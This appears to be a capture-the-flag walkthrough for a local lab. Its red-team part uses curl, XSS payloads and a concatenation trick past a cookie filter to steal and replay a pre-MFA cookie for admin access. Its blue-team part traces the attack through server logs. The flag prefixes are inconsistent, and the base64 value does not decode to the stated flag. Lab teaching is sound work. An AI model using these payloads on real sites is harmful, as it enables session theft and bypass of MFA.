

SCENARIO75 CTF

Part 1: Red Team

Goal: Bypass MFA and obtain admin access.

Step 1 — Recon

Open the target:

```
http://localhost:3075
```

Check the response headers:

```
curl -i http://localhost:3075/
```

Look for:

```
X-Powered-By: Node.js
```

Flag:

```
SCENARIO75{Node.js}
```

Step 2 — Find Hidden Endpoints

Check **robots.txt**:

```
curl http://localhost:3075/robots.txt
```

Find:

```
/api/verify-mfa
```

Flag:

```
SCENARIO075{/api/verify-mfa}
```

Check the dashboard:

```
curl -i http://localhost:3075/dashboard
```

Flag:

```
SCENARIO075{/dashboard}
```

Step 3 — Inspect the Cookie

Check the response again:

```
curl -i http://localhost:3075/
```

Look for:

```
Set-Cookie: pre_mfa_session=pending_mfa_verification
```

Flags:

```
SCENARIO075{pre_mfa_session}  
SCENARIO075{pending_mfa_verification}
```

The cookie is accessible to JavaScript because it is not **HttpOnly**.

Step 4 — Find XSS

Try a basic XSS payload:

```
curl -i -X POST http://localhost:3075/feedback \  
-d 'message=<script>alert(1)</script>'
```

The request is blocked.

Flag:

```
SCENARIO075{403}
```

Try another HTML element:

```
<svg onload=alert(1)>
```

Flag:

```
SCENARIO075{<svg>}
```

Step 5 — Bypass the Cookie Filter

The WAF blocks the usual cookie access:

```
document.cookie
```

Use:

```
window['docu'+ 'ment']['coo'+ 'kie']
```

Flag:

```
SCENARIO075{window['docu'+ 'ment']['coo'+ 'kie']}
```

This still evaluates to:

```
document.cookie
```

Step 6 — Steal the Pre-MFA Cookie

Use the XSS to read and send the cookie to the lab telemetry endpoint.

The target cookie is:

```
pre_mfa_session=pending_mfa_verification
```

Step 7 — Replay the Cookie

Replay the stolen cookie:

```
curl -i \  
  -H 'Cookie: pre_mfa_session=pending_mfa_verification' \  
  http://localhost:3075/api/session/replay
```

The server returns an admin session:

```
adm_sess=...
```

No MFA verification is required.

Step 8 — Access the Dashboard

Use the admin session:

```
curl -i \  
  -H 'Cookie: adm_sess=...' \  
  http://localhost:3075/dashboard
```

Find the final Red Team flag:

```
SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d}
```

RED TEAM COMPLETE

Part 2: Blue Team

Goal: Investigate the attack using server logs and recover the Blue Team flag.

Step 1 — Access the Server

```
ssh -p 2275 analyst@<VM_IP>
```

Password:

```
blue_team_rocks
```

Step 2 — Find the Logs

```
ls -lah /opt/admin/logs
```

You should find:

```
access.log  
error.log
```

Step 3 — Find the Attacker

Read the access log:

```
sudo cat /opt/admin/logs/access.log
```

Look for the suspicious IP:

```
10.10.14.50
```

Step 4 — Find the WAF Attack

Check the error log:

```
sudo cat /opt/admin/logs/error.log
```

Find the blocked XSS attempt:

```
<script>
```

Timestamp:

```
18:50:15
```

Step 5 — Find the Admin Access

Search for:

```
/dashboard
```

You should find a successful request:

```
18:51:55  
/dashboard  
HTTP 200
```

Step 6 — Check MFA Activity

Search for:

```
grep '/api/verify-mfa' /opt/admin/logs/access.log
```

There should be no request from the attacker.

The attacker reached `/dashboard` without completing MFA.

Step 7 — Find Cookie Reuse

Search for:

```
grep 'adm_sess' /opt/admin/logs/access.log
```

Look for the suspicious session reuse.

Step 8 — Find the Authentication Anomaly

```
grep 'Authentication bypass anomaly' \  
/opt/admin/logs/error.log
```

Find:

```
18:53:10 Authentication bypass anomaly
```

Step 9 — Find the Hidden Flag

Inspect the **X-Forwarded-For** value in the access log.

You should find:

```
UEhBTlRPTUdSSUR7QkxVRV9MMGdfSHVudDNyX000c3Qzcn0}
```

Decode it:

```
printf '%s' \  
'UEhBTlRPTUdSSUR7QkxVRV9MMGdfSHVudDNyX000c3Qzcn0}' | base64 -d
```

The decoded value leads to the Blue Team flag:

```
SCENARIO075{BLUE_L0g_HUnt3r_M4st3r}
```

BLUE TEAM COMPLETE

Attack Chain

```
Recon  
↓  
Hidden endpoints  
↓  
Pre-MFA cookie  
↓  
XSS  
↓
```

```
WAF bypass
↓
Cookie theft
↓
Cookie replay
↓
MFA bypass
↓
Admin access
↓
RED FLAG
```

Investigation Chain

```
Logs
↓
Suspicious IP
↓
XSS attempt
↓
Admin access
↓
No MFA request
↓
Cookie reuse
↓
Authentication anomaly
↓
Base64
↓
BLUE FLAG
```